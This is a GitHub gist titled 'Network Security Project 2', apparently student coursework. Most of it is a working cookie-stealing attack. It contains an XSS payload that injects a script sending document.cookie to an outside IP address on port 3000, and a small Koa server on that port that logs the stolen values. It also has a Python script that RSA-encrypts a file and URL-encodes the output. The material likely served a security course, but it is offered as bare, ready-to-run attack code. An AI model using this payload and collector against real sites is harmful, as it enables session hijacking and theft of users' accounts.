Skip to content

Instantly share code, notes, and snippets.

@banacorn
Last active August 29, 2015 14:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save banacorn/4d459aa73807c1d6b339 to your computer and use it in GitHub Desktop.
Save banacorn/4d459aa73807c1d6b339 to your computer and use it in GitHub Desktop.
Network Security Project 2
<script>
var element1 = document.createElement("script");
element1.src = "http://140.113.166.11:3000/?banana=" + document.cookie;
element1.type="text/javascript";
document.getElementsByTagName("head")[0].appendChild(element1);
</script>
var koa = require('koa');
var app = koa();
require('koa-qs')(app);
app.use(function *() {
console.log(this.query);
});
app.listen(3000);
import sys
from M2Crypto import RSA
if len(sys.argv) < 3:
print "Please input public key and data"
sys.exit()
rsa=RSA.load_pub_key(sys.argv[1])
fname = sys.argv[2]
file = open(fname, 'r')
data = file.read()
file.close()
txt=rsa.public_encrypt(data, RSA.pkcs1_padding)
txt=txt.encode("base64")
s = []
for c in txt:
if c == '+':
s.append("%2B")
elif c == '/':
s.append("%2F")
elif c == '=':
s.append("%3D")
else:
s.append(c)
print "".join(s);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment